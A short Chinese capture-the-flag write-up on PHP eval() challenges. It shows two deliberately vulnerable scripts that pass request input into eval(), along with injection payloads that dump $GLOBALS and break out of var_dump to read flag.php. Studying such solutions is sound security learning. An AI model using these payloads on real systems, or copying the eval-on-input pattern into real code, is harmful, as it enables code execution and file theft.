php函数（三）eval函数对比详解

preg_match(’/^\w*$/’,$a ),对$a的值进行匹配，如果是特殊字符返回error，反之进入eval.
var_dump(),结构化的打印变量值.
eval(),字符串按照 PHP 代码来计算.

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a ))
{
	 die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

flag就在某六位变量中。
构造:/?hello=GLOBALS —> $$a=$GLOBALS，打印全局变量。

---

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

题干已知：flag不在变量中。
构造:/?hello=); print_r(file("./flag.php")
—>eval(“var_dump($a);”);
—>eval(“var_dump(); print_r(file(”./flag.php"));");=eval(“print_r(file(”./flag.php"));");

即：打印*(./flag.php)

或：
构造:/?hello=);print_r(file("./flag.php"));//
—>eval(“var_dump($a);”);
—>eval(“var_dump();print_r(file(”./flag.php"));//);");=eval(“print_r(file(”./flag.php"));");